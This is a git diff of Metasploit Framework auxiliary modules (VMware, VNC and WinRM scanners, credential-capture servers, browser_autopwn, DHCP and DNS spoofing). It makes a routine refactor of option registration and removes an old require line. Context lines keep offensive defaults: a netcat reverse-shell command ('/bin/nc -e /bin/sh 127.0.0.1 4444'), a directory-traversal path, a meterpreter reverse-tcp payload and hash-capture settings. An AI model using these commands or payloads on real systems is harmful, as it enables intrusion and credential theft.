a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ntlm/message' @@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb index 262d2304ee..fed2772f5c 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ntlm/message' @@ -31,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb index ea443da12c..75e705fde3 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ntlm/message' @@ -32,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb index 0692fdb880..d59f13afce 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), OptBool.new('SCREENSHOT', [true, "Wheter or not to try to take a screenshot", true]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/vmware/vmware_host_details.rb b/modules/auxiliary/scanner/vmware/vmware_host_details.rb index e7929fed49..ad8985de97 100644 --- a/modules/auxiliary/scanner/vmware/vmware_host_details.rb +++ b/modules/auxiliary/scanner/vmware/vmware_host_details.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]), OptBool.new('HW_DETAILS', [true, "Enumerate the Hardware on the system as well?", false]) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/vmware/vmware_http_login.rb b/modules/auxiliary/scanner/vmware/vmware_http_login.rb index 36fc06096a..c75927ad0e 100644 --- a/modules/auxiliary/scanner/vmware/vmware_http_login.rb +++ b/modules/auxiliary/scanner/vmware/vmware_http_login.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ntlm/message' @@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('URI', [true, "The default URI to login with", "/sdk"]), Opt::RPORT(443) - ], self.class) + ]) end def report_cred(opts) diff --git a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb index 72caad0ee1..88e4facb46 100644 --- a/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb +++ b/modules/auxiliary/scanner/vmware/vmware_screenshot_stealer.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(443), OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]), OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]) - ], self.class) + ]) register_advanced_options([OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', true]),]) end diff --git a/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb b/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb index 52f6bd5fd2..61f7f55fc1 100644 --- a/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb +++ b/modules/auxiliary/scanner/vmware/vmware_server_dir_trav.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary # Exploit mixins should be called first @@ -38,7 +36,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(8222), OptString.new('FILE', [ true, "The file to view", '/etc/vmware/hostd/vmInventory.xml']), OptString.new('TRAV', [ true, "Traversal Depth", '/sdk/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E']), - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb b/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb index 3e9cc9e5fd..2c1afe20e8 100644 --- a/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb +++ b/modules/auxiliary/scanner/vmware/vmware_update_manager_traversal.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(9084), OptString.new('URIPATH', [true, 'URI path to the downloads', '/vci/downloads/']), OptString.new('FILE', [true, 'Define the remote file to download', 'windows\\win.ini']) - ], self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/scanner/vnc/vnc_login.rb b/modules/auxiliary/scanner/vnc/vnc_login.rb index 22f1f22341..c86f14bb6f 100644 --- a/modules/auxiliary/scanner/vnc/vnc_login.rb +++ b/modules/auxiliary/scanner/vnc/vnc_login.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/rfb' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner/vnc' @@ -47,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary # We need to set the following options to make sure BLANK_PASSWORDS functions properly OptString.new('USERNAME', [false, 'A specific username to authenticate as', '']), OptBool.new('USER_AS_PASS', [false, 'Try the username as the password for all users', false]) - ], self.class) + ]) register_autofilter_ports((5900..5910).to_a) # Each instance increments the port by one. diff --git a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb index a787e463f7..bbce7b8e45 100644 --- a/modules/auxiliary/scanner/vnc/vnc_none_auth.rb +++ b/modules/auxiliary/scanner/vnc/vnc_none_auth.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/rfb' class MetasploitModule < Msf::Auxiliary @@ -32,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(5900) - ], self.class) + ]) end def run_host(target_host) diff --git a/modules/auxiliary/scanner/voice/recorder.rb b/modules/auxiliary/scanner/voice/recorder.rb index 726c055267..08441a80d4 100644 --- a/modules/auxiliary/scanner/voice/recorder.rb +++ b/modules/auxiliary/scanner/voice/recorder.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'fileutils' class MetasploitModule < Msf::Auxiliary @@ -22,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TARGETS', [true, "A list of telephone masks in the format of 1-555-555-5XXX, separated by commas"]), OptString.new('OUTPUT_PATH', [true, "A local directory to store the resulting audio files"]), OptInt.new('CALL_TIME', [true, "The maximum time in seconds to spent on each call (ring + recording)", 52]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb index 8a9f4a5c1f..613031387b 100644 --- a/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb +++ b/modules/auxiliary/scanner/vxworks/wdbrpc_bootline.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), Opt::RPORT(17185) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb index b2e2a25df1..043bccf6e7 100644 --- a/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb +++ b/modules/auxiliary/scanner/vxworks/wdbrpc_version.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary [ OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]), Opt::RPORT(17185) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb index 5a946de15a..5dc725e132 100644 --- a/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb +++ b/modules/auxiliary/scanner/winrm/winrm_auth_methods.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ntlm/message' diff --git a/modules/auxiliary/scanner/winrm/winrm_cmd.rb b/modules/auxiliary/scanner/winrm/winrm_cmd.rb index 73639a55bb..fd54db5851 100644 --- a/modules/auxiliary/scanner/winrm/winrm_cmd.rb +++ b/modules/auxiliary/scanner/winrm/winrm_cmd.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ntlm/message' @@ -33,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, "The username to authenticate as"]), OptString.new('PASSWORD', [ true, "The password to authenticate with"]), OptBool.new('SAVE_OUTPUT', [true, "Store output as loot", false]) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/winrm/winrm_login.rb b/modules/auxiliary/scanner/winrm/winrm_login.rb index 5b7f023495..48f54b0ea6 100644 --- a/modules/auxiliary/scanner/winrm/winrm_login.rb +++ b/modules/auxiliary/scanner/winrm/winrm_login.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ntlm/message' require 'metasploit/framework/credential_collection' require 'metasploit/framework/login_scanner' diff --git a/modules/auxiliary/scanner/winrm/winrm_wql.rb b/modules/auxiliary/scanner/winrm/winrm_wql.rb index 2705a1ce24..5ea062d8b2 100644 --- a/modules/auxiliary/scanner/winrm/winrm_wql.rb +++ b/modules/auxiliary/scanner/winrm/winrm_wql.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'rex/proto/ntlm/message' @@ -35,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, "The username to authenticate as"]), OptString.new('PASSWORD', [ true, "The password to authenticate with"]), OptString.new('NAMESPACE', [true, 'The WMI namespace to use for queries', '/root/cimv2/']) - ], self.class) + ]) end diff --git a/modules/auxiliary/scanner/x11/open_x11.rb b/modules/auxiliary/scanner/x11/open_x11.rb index a13811d28b..c945613a74 100644 --- a/modules/auxiliary/scanner/x11/open_x11.rb +++ b/modules/auxiliary/scanner/x11/open_x11.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(6000) - ],self.class) + ]) end def run_host(ip) diff --git a/modules/auxiliary/server/android_browsable_msf_launch.rb b/modules/auxiliary/server/android_browsable_msf_launch.rb index dbe22bad58..a06ec39983 100644 --- a/modules/auxiliary/server/android_browsable_msf_launch.rb +++ b/modules/auxiliary/server/android_browsable_msf_launch.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer diff --git a/modules/auxiliary/server/android_mercury_parseuri.rb b/modules/auxiliary/server/android_mercury_parseuri.rb index cbce29df4f..79c53a4091 100644 --- a/modules/auxiliary/server/android_mercury_parseuri.rb +++ b/modules/auxiliary/server/android_mercury_parseuri.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('ADDITIONAL_FILES', [false, 'Additional files to steal from the device']) - ], self.class) + ]) end def is_android?(user_agent) diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 0ff0e253b8..30b9d24aa7 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -8,7 +8,6 @@ # insert all of the evil js and iframes into # - caching is busted when different browsers come from the same IP -require 'msf/core' require 'rex/exploitation/js/detect' require 'rex/exploitation/jsobfu' @@ -61,10 +60,10 @@ class MetasploitModule < Msf::Auxiliary 'DefaultAction' => 'WebServer')) register_options([ - OptAddress.new('LHOST', [true, + OptAddressLocal.new('LHOST', [true, 'The IP address to use for reverse-connect payloads' ]) - ], self.class) + ]) register_advanced_options([ OptString.new('AutoRunScript', [false, "A script to automatically on session creation.", '']), @@ -121,7 +120,7 @@ class MetasploitModule < Msf::Auxiliary 'The payload to use for Android reverse-connect payloads', 'android/meterpreter/reverse_tcp' ]) - ], self.class) + ]) @exploits = Hash.new @payloads = Hash.new diff --git a/modules/auxiliary/server/browser_autopwn2.rb b/modules/auxiliary/server/browser_autopwn2.rb index a43d870673..acac8b69b2 100644 --- a/modules/auxiliary/server/browser_autopwn2.rb +++ b/modules/auxiliary/server/browser_autopwn2.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::BrowserAutopwn2 @@ -69,7 +68,7 @@ class MetasploitModule < Msf::Auxiliary OptRegexp.new('INCLUDE_PATTERN', [false, 'Pattern search to include specific modules']), OptRegexp.new('EXCLUDE_PATTERN', [false, 'Pattern search to exclude specific modules']), - ], self.class) + ]) register_advanced_options([ OptInt.new('ExploitReloadTimeout', [false, 'Number of milliseconds before trying the next exploit', 3000]), @@ -78,7 +77,7 @@ class MetasploitModule < Msf::Auxiliary OptAddressRange.new('AllowedAddresses', [false, "A range of IPs you're interested in attacking"]), OptInt.new('MaxSessionCount', [false, 'Number of sessions to get', -1]), OptBool.new('ShowExploitList', [true, "Show which exploits will actually be served to each client", false]) - ] ,self.class) + ]) end def get_advanced_options diff --git a/modules/auxiliary/server/capture/drda.rb b/modules/auxiliary/server/capture/drda.rb index 004bf01aa2..9e44fc5338 100644 --- a/modules/auxiliary/server/capture/drda.rb +++ b/modules/auxiliary/server/capture/drda.rb @@ -5,8 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 50000 ]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/server/capture/ftp.rb b/modules/auxiliary/server/capture/ftp.rb index 8d01ea4a46..4f15e9c757 100644 --- a/modules/auxiliary/server/capture/ftp.rb +++ b/modules/auxiliary/server/capture/ftp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/server/capture/http.rb b/modules/auxiliary/server/capture/http.rb index 82118512d3..2aaf403cd8 100644 --- a/modules/auxiliary/server/capture/http.rb +++ b/modules/auxiliary/server/capture/http.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary OptAddress.new('AUTOPWN_HOST',[ false, "The IP address of the browser_autopwn service ", nil ]), OptPort.new('AUTOPWN_PORT',[ false, "The SRVPORT port of the browser_autopwn service ", nil ]), OptString.new('AUTOPWN_URI',[ false, "The URIPATH of the browser_autopwn service ", nil ]), - ], self.class) + ]) end # Not compatible today diff --git a/modules/auxiliary/server/capture/http_basic.rb b/modules/auxiliary/server/capture/http_basic.rb index 5b68785373..f5fc61d2ef 100644 --- a/modules/auxiliary/server/capture/http_basic.rb +++ b/modules/auxiliary/server/capture/http_basic.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -41,7 +39,7 @@ class MetasploitModule < Msf::Auxiliary OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]), OptString.new('REALM', [ true, "The authentication realm you'd like to present.", "Secure Site" ]), OptString.new('RedirectURL', [ false, "The page to redirect users to after they enter basic auth creds" ]) - ], self.class) + ]) end # Not compatible today diff --git a/modules/auxiliary/server/capture/http_javascript_keylogger.rb b/modules/auxiliary/server/capture/http_javascript_keylogger.rb index e6cf859bb2..31ee242c02 100644 --- a/modules/auxiliary/server/capture/http_javascript_keylogger.rb +++ b/modules/auxiliary/server/capture/http_javascript_keylogger.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer::HTML @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]), - ], self.class) + ]) end diff --git a/modules/auxiliary/server/capture/http_ntlm.rb b/modules/auxiliary/server/capture/http_ntlm.rb index 04d052845c..4b58e9e999 100644 --- a/modules/auxiliary/server/capture/http_ntlm.rb +++ b/modules/auxiliary/server/capture/http_ntlm.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/message' require 'rex/proto/ntlm/crypt' @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) - ], self.class) + ]) register_advanced_options([ OptString.new('DOMAIN', [ false, "The default domain to use for NTLM authentication", "DOMAIN"]), @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('DNSNAME', [ false, "The default DNS server name to use for NTLM authentication", "SERVER"]), OptString.new('DNSDOMAIN', [ false, "The default DNS domain name to use for NTLM authentication", "example.com"]), OptBool.new('FORCEDEFAULT', [ false, "Force the default settings", false]) - ], self.class) + ]) end diff --git a/modules/auxiliary/server/capture/imap.rb b/modules/auxiliary/server/capture/imap.rb index 979f44a84a..e5a2e46018 100644 --- a/modules/auxiliary/server/capture/imap.rb +++ b/modules/auxiliary/server/capture/imap.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/server/capture/mssql.rb b/modules/auxiliary/server/capture/mssql.rb index 4f660f1d78..e014f1d127 100644 --- a/modules/auxiliary/server/capture/mssql.rb +++ b/modules/auxiliary/server/capture/mssql.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/ntlm/constants' require 'rex/proto/ntlm/message' require 'rex/proto/ntlm/crypt' @@ -50,13 +49,13 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), OptString.new('CHALLENGE', [ true, "The 8 byte challenge ", "1122334455667788" ]) - ], self.class) + ]) register_advanced_options( [ OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]), OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/server/capture/mysql.rb b/modules/auxiliary/server/capture/mysql.rb index aba21c66df..19257a58c1 100644 --- a/modules/auxiliary/server/capture/mysql.rb +++ b/modules/auxiliary/server/capture/mysql.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('SRVVERSION', [ true, "The server version to report in the greeting response", "5.5.16" ]), OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/server/capture/pop3.rb b/modules/auxiliary/server/capture/pop3.rb index 92cd3a383e..7837599173 100644 --- a/modules/auxiliary/server/capture/pop3.rb +++ b/modules/auxiliary/server/capture/pop3.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 110 ]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/server/capture/postgresql.rb b/modules/auxiliary/server/capture/postgresql.rb index bafb8f0366..0825867692 100644 --- a/modules/auxiliary/server/capture/postgresql.rb +++ b/modules/auxiliary/server/capture/postgresql.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer @@ -26,7 +24,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5432 ]), - ], self.class) + ]) end # This module is based on MySQL capture module by Patrik Karlsson. diff --git a/modules/auxiliary/server/capture/printjob_capture.rb b/modules/auxiliary/server/capture/printjob_capture.rb index 5c6954fe81..2ee060f99f 100644 --- a/modules/auxiliary/server/capture/printjob_capture.rb +++ b/modules/auxiliary/server/capture/printjob_capture.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer @@ -51,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('METADATA', [ true, 'Display Metadata from printjobs', true ]), OptEnum.new('MODE', [ true, 'Print mode', 'RAW', ['RAW', 'LPR']]) # TODO: Add IPP - ], self.class) + ]) deregister_options('SSL', 'SSLVersion', 'SSLCert') diff --git a/modules/auxiliary/server/capture/sip.rb b/modules/auxiliary/server/capture/sip.rb index debf7c8653..1d68f9de3e 100644 --- a/modules/auxiliary/server/capture/sip.rb +++ b/modules/auxiliary/server/capture/sip.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/socket' class MetasploitModule < Msf::Auxiliary @@ -32,12 +31,12 @@ class MetasploitModule < Msf::Auxiliary OptString.new('NONCE', [ true, "The server byte nonce", "1234" ]), OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]), OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), - ], self.class) + ]) register_advanced_options( [ OptString.new("SRVVERSION", [ true, "The server version to report in the greeting response", "ser (3.3.0-pre1 (i386/linux))" ]), OptString.new('REALM', [false, "The SIP realm to which clients authenticate", nil ]), - ], self.class) + ]) end def sip_parse_authorization(data) diff --git a/modules/auxiliary/server/capture/smb.rb b/modules/auxiliary/server/capture/smb.rb index 100f800596..0f3fcd22d5 100644 --- a/modules/auxiliary/server/capture/smb.rb +++ b/modules/auxiliary/server/capture/smb.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('CAINPWFILE', [ false, "The local filename to store the hashes in Cain&Abel format", nil ]), OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in John format", nil ]), OptString.new('CHALLENGE', [ true, "The 8 byte server challenge", "1122334455667788" ]) - ], self.class ) + ]) register_advanced_options( [ @@ -73,7 +71,7 @@ class MetasploitModule < Msf::Auxiliary "The domain name used during smb exchange with SMB_EXTENDED_SECURITY set.", "anonymous" ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/server/capture/smtp.rb b/modules/auxiliary/server/capture/smtp.rb index f44de779d7..b6241dff0c 100644 --- a/modules/auxiliary/server/capture/smtp.rb +++ b/modules/auxiliary/server/capture/smtp.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptPort.new('SRVPORT', [ true, "The local port to listen on.", 25 ]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/server/capture/telnet.rb b/modules/auxiliary/server/capture/telnet.rb index 73b966de96..4d67a1bef0 100644 --- a/modules/auxiliary/server/capture/telnet.rb +++ b/modules/auxiliary/server/capture/telnet.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - # Fake Telnet Service - Kris Katterjohn 09/28/2008 class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary [ OptPort.new('SRVPORT', [true, 'The local port to listen on.', 23]), OptString.new('BANNER', [false, 'The server banner to display when client connects']) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/server/capture/vnc.rb b/modules/auxiliary/server/capture/vnc.rb index b6e6cb0121..1b9240abaa 100644 --- a/modules/auxiliary/server/capture/vnc.rb +++ b/modules/auxiliary/server/capture/vnc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TcpServer @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary OptPort.new('SRVPORT', [ true, "The local port to listen on.", 5900 ]), OptString.new('CHALLENGE', [ true, "The 16 byte challenge", "00112233445566778899AABBCCDDEEFF" ]), OptString.new('JOHNPWFILE', [ false, "The prefix to the local filename to store the hashes in JOHN format", nil ]) - ], self.class) + ]) end def setup diff --git a/modules/auxiliary/server/dhclient_bash_env.rb b/modules/auxiliary/server/dhclient_bash_env.rb index edb64ec9e4..664b3cb49c 100644 --- a/modules/auxiliary/server/dhclient_bash_env.rb +++ b/modules/auxiliary/server/dhclient_bash_env.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/dhcp' class MetasploitModule < Msf::Auxiliary @@ -51,7 +50,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444']) - ], self.class) + ]) deregister_options('DOMAINNAME', 'HOSTNAME', 'URL') end diff --git a/modules/auxiliary/server/dhcp.rb b/modules/auxiliary/server/dhcp.rb index d25ee16e46..a6a0478039 100644 --- a/modules/auxiliary/server/dhcp.rb +++ b/modules/auxiliary/server/dhcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/dhcp' class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/server/dns/spoofhelper.rb b/modules/auxiliary/server/dns/spoofhelper.rb index f4f2f3ca8f..84d7c6c517 100644 --- a/modules/auxiliary/server/dns/spoofhelper.rb +++ b/modules/auxiliary/server/dns/spoofhelper.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'resolv' @@ -39,7 +38,7 @@ class MetasploitModule < Msf::Auxiliary [ OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), OptPort.new('SRVPORT', [ true, "The local port to listen on.", 53 ]), - ], self.class) + ]) end diff --git a/modules/auxiliary/server/fakedns.rb b/modules/auxiliary/server/fakedns.rb index 695a346578..e8ed2ba89b 100644 --- a/modules/auxiliary/server/fakedns.rb +++ b/modules/auxiliary/server/fakedns.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' 